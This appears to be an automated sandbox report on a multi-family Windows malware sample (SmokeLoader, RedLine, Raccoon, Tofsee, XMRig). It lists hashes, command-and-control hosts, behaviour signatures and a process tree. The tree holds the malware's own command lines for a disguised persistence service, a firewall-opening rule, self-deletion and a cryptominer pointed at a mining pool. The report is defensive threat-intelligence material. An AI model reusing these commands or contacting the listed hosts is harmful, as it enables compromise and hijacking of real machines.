Overview

overview

10

Static

static

4578012232...3d.exe

windows7_x64

10

4578012232...3d.exe

windows10_x64

10

Analysis

  • max time kernel
    69s
  • max time network
    191s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    30-09-2021 05:03

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General

  • Target

    4578012232277d08b06f0e14f168e33d.exe

  • Size

    240KB

  • MD5

    4578012232277d08b06f0e14f168e33d

  • SHA1

    10e0aa746b01adf481285add400f1c66f7fa0dfa

  • SHA256

    d4bec541272c470bc24653ca13fe85d4011e300b79026b767c6bd3abcb93b637

  • SHA512

    a337b07a6b8365384741f758a512dfa8a51de1b2a687878f7aaeb0c9aef44fd5a11c066de735d114a67a95f0add47cda433bb73005ffa4bfdc54bc57c31512c7

Score
10/10
gozi_rm3raccoonredlinesmokeloadertofseexmrig5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4rsecond build backdoorbankerdiscoveryevasioninfostealerminerpersistencespywarestealersuricatathemidatrojan

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://fiskahlilian16.top/

http://paishancho17.top/

http://ydiannetter18.top/

http://azarehanelle19.top/

http://quericeriant20.top/
rc4.i32
rc4.i32

Extracted

Family

redline

Botnet

r

C2

188.72.208.174:38430

Extracted

Family

raccoon

Botnet

5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Extracted

Family

redline

Botnet

Second BUILD

C2

asyndenera.xyz:15667

Signatures

  • Gozi RM3

    A heavily modified version of Gozi using RM3 loader.

    bankertrojangozi_rm3
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 5 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Executes dropped EXE 9 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 44 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 24 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 9 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4578012232277d08b06f0e14f168e33d.exe
    "C:\Users\Admin\AppData\Local\Temp\4578012232277d08b06f0e14f168e33d.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1160
    • C:\Users\Admin\AppData\Local\Temp\4578012232277d08b06f0e14f168e33d.exe
      "C:\Users\Admin\AppData\Local\Temp\4578012232277d08b06f0e14f168e33d.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1268
  • C:\Users\Admin\AppData\Local\Temp\788A.exe
    C:\Users\Admin\AppData\Local\Temp\788A.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:532
    • C:\Users\Admin\AppData\Local\Temp\788A.exe
      C:\Users\Admin\AppData\Local\Temp\788A.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:1876
  • C:\Users\Admin\AppData\Local\Temp\83C1.exe
    C:\Users\Admin\AppData\Local\Temp\83C1.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of AdjustPrivilegeToken
    PID:1852
    • C:\Users\Admin\AppData\Roaming\83C1.exe
      "C:\Users\Admin\AppData\Roaming\83C1.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious use of AdjustPrivilegeToken
      PID:1104
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\Users\Admin\AppData\Local\Self.bat" "
        3⤵
          PID:1544
          • C:\Windows\SysWOW64\chcp.com
            chcp 1251
            4⤵
              PID:1948
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\AppData\Roaming\83C1.exe
            3⤵
              PID:2124
              • C:\Windows\SysWOW64\choice.exe
                choice /C Y /N /D Y /T 0
                4⤵
                  PID:2164
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c ""C:\Users\Admin\AppData\Local\Self.bat" "
              2⤵
                PID:968
                • C:\Windows\SysWOW64\chcp.com
                  chcp 1251
                  3⤵
                    PID:1300
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 0 &Del 83C1.exe
                  2⤵
                    PID:1600
                    • C:\Windows\SysWOW64\choice.exe
                      choice /C Y /N /D Y /T 0
                      3⤵
                        PID:1888
                  • C:\Users\Admin\AppData\Local\Temp\8B60.exe
                    C:\Users\Admin\AppData\Local\Temp\8B60.exe
                    1⤵
                    • Executes dropped EXE
                    • Suspicious use of WriteProcessMemory
                    PID:1376
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\isyouepf\
                      2⤵
                        PID:1928
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\biuhqdey.exe" C:\Windows\SysWOW64\isyouepf\
                        2⤵
                          PID:288
                        • C:\Windows\SysWOW64\sc.exe
                          "C:\Windows\System32\sc.exe" create isyouepf binPath= "C:\Windows\SysWOW64\isyouepf\biuhqdey.exe /d\"C:\Users\Admin\AppData\Local\Temp\8B60.exe\"" type= own start= auto DisplayName= "wifi support"
                          2⤵
                            PID:1596
                          • C:\Windows\SysWOW64\sc.exe
                            "C:\Windows\System32\sc.exe" description isyouepf "wifi internet conection"
                            2⤵
                              PID:968
                            • C:\Windows\SysWOW64\sc.exe
                              "C:\Windows\System32\sc.exe" start isyouepf
                              2⤵
                                PID:1856
                              • C:\Windows\SysWOW64\netsh.exe
                                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                2⤵
                                  PID:1476
                              • C:\Users\Admin\AppData\Local\Temp\912B.exe
                                C:\Users\Admin\AppData\Local\Temp\912B.exe
                                1⤵
                                • Executes dropped EXE
                                • Checks BIOS information in registry
                                • Checks whether UAC is enabled
                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1640
                              • C:\Users\Admin\AppData\Local\Temp\9C82.exe
                                C:\Users\Admin\AppData\Local\Temp\9C82.exe
                                1⤵
                                • Executes dropped EXE
                                PID:1160
                                • C:\Users\Admin\AppData\Local\Temp\InternodesPiets_2021-09-29_21-00.exe
                                  "C:\Users\Admin\AppData\Local\Temp\InternodesPiets_2021-09-29_21-00.exe"
                                  2⤵
                                    PID:2184
                                  • C:\Users\Admin\AppData\Local\Temp\Money10k_.exe
                                    "C:\Users\Admin\AppData\Local\Temp\Money10k_.exe"
                                    2⤵
                                      PID:2220
                                  • C:\Windows\SysWOW64\isyouepf\biuhqdey.exe
                                    C:\Windows\SysWOW64\isyouepf\biuhqdey.exe /d"C:\Users\Admin\AppData\Local\Temp\8B60.exe"
                                    1⤵
                                    • Executes dropped EXE
                                    • Suspicious use of SetThreadContext
                                    • Suspicious use of WriteProcessMemory
                                    PID:1920
                                    • C:\Windows\SysWOW64\svchost.exe
                                      svchost.exe
                                      2⤵
                                      • Drops file in System32 directory
                                      • Suspicious use of SetThreadContext
                                      • Modifies data under HKEY_USERS
                                      PID:1616
                                      • C:\Windows\SysWOW64\svchost.exe
                                        svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                                        3⤵
                                          PID:2104
                                    • C:\Users\Admin\AppData\Local\Temp\A5E5.exe
                                      C:\Users\Admin\AppData\Local\Temp\A5E5.exe
                                      1⤵
                                      • Executes dropped EXE
                                      PID:576

                                    Network

                                    MITRE ATT&CK Enterprise v6

                                    Replay Monitor

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                                    Downloads

                                    • memory/532-70-0x0000000000720000-0x0000000000721000-memory.dmp

                                      Filesize

                                      4KB

                                      Download

                                    • memory/532-68-0x0000000001160000-0x0000000001161000-memory.dmp

                                      Filesize

                                      4KB

                                      Download

                                    • memory/576-122-0x0000000000400000-0x00000000008AC000-memory.dmp

                                      Filesize

                                      4.7MB

                                      Download

                                    • memory/576-121-0x0000000000920000-0x00000000009B0000-memory.dmp

                                      Filesize

                                      576KB

                                      Download

                                    • memory/1104-137-0x0000000000A70000-0x0000000000A9A000-memory.dmp

                                      Filesize

                                      168KB

                                      Download

                                    • memory/1104-134-0x0000000004670000-0x0000000004671000-memory.dmp

                                      Filesize

                                      4KB

                                      Download

                                    • memory/1104-127-0x0000000000C70000-0x0000000000C71000-memory.dmp

                                      Filesize

                                      4KB

                                      Download

                                    • memory/1160-106-0x0000000000330000-0x0000000000331000-memory.dmp

                                      Filesize

                                      4KB

                                      Download

                                    • memory/1160-63-0x0000000000020000-0x0000000000029000-memory.dmp

                                      Filesize

                                      36KB

                                      Download

                                    • memory/1212-64-0x0000000002B20000-0x0000000002B35000-memory.dmp

                                      Filesize

                                      84KB

                                      Download

                                    • memory/1268-62-0x0000000075801000-0x0000000075803000-memory.dmp

                                      Filesize

                                      8KB

                                      Download

                                    • memory/1268-60-0x0000000000400000-0x0000000000409000-memory.dmp

                                      Filesize

                                      36KB

                                      Download

                                    • memory/1376-94-0x0000000000400000-0x000000000086C000-memory.dmp

                                      Filesize

                                      4.4MB

                                      Download

                                    • memory/1376-93-0x0000000000020000-0x0000000000033000-memory.dmp

                                      Filesize

                                      76KB

                                      Download

                                    • memory/1616-116-0x0000000000080000-0x0000000000095000-memory.dmp

                                      Filesize

                                      84KB

                                      Download

                                    • memory/1640-96-0x00000000002D0000-0x00000000002D1000-memory.dmp

                                      Filesize

                                      4KB

                                      Download

                                    • memory/1640-99-0x0000000005250000-0x0000000005251000-memory.dmp

                                      Filesize

                                      4KB

                                      Download

                                    • memory/1852-77-0x0000000000560000-0x00000000005B1000-memory.dmp

                                      Filesize

                                      324KB

                                      Download

                                    • memory/1852-75-0x00000000008D0000-0x00000000008D1000-memory.dmp

                                      Filesize

                                      4KB

                                      Download

                                    • memory/1852-79-0x0000000004A40000-0x0000000004A41000-memory.dmp

                                      Filesize

                                      4KB

                                      Download

                                    • memory/1852-78-0x0000000000370000-0x0000000000371000-memory.dmp

                                      Filesize

                                      4KB

                                      Download

                                    • memory/1876-83-0x0000000000400000-0x0000000000422000-memory.dmp

                                      Filesize

                                      136KB

                                      Download

                                    • memory/1876-80-0x0000000000400000-0x0000000000422000-memory.dmp

                                      Filesize

                                      136KB

                                      Download

                                    • memory/1876-87-0x0000000000200000-0x0000000000201000-memory.dmp

                                      Filesize

                                      4KB

                                      Download

                                    • memory/1920-115-0x0000000000400000-0x000000000086C000-memory.dmp

                                      Filesize

                                      4.4MB

                                      Download

                                    • memory/2104-185-0x0000000000120000-0x0000000000211000-memory.dmp

                                      Filesize

                                      964KB

                                      Download

                                    • memory/2184-197-0x0000000001F80000-0x0000000001F9F000-memory.dmp

                                      Filesize

                                      124KB

                                      Download

                                    • memory/2184-198-0x0000000000460000-0x0000000000490000-memory.dmp

                                      Filesize

                                      192KB

                                      Download

                                    • memory/2184-199-0x0000000000400000-0x000000000045D000-memory.dmp

                                      Filesize

                                      372KB

                                      Download

                                    • memory/2184-201-0x0000000001EF2000-0x0000000001EF3000-memory.dmp

                                      Filesize

                                      4KB

                                      Download

                                    • memory/2184-200-0x0000000001EF1000-0x0000000001EF2000-memory.dmp

                                      Filesize

                                      4KB

                                      Download

                                    • memory/2184-202-0x0000000001FE0000-0x0000000001FFE000-memory.dmp

                                      Filesize

                                      120KB

                                      Download

                                    • memory/2184-203-0x0000000001EF3000-0x0000000001EF4000-memory.dmp

                                      Filesize

                                      4KB

                                      Download

                                    • memory/2184-204-0x0000000001EF4000-0x0000000001EF6000-memory.dmp

                                      Filesize

                                      8KB

                                      Download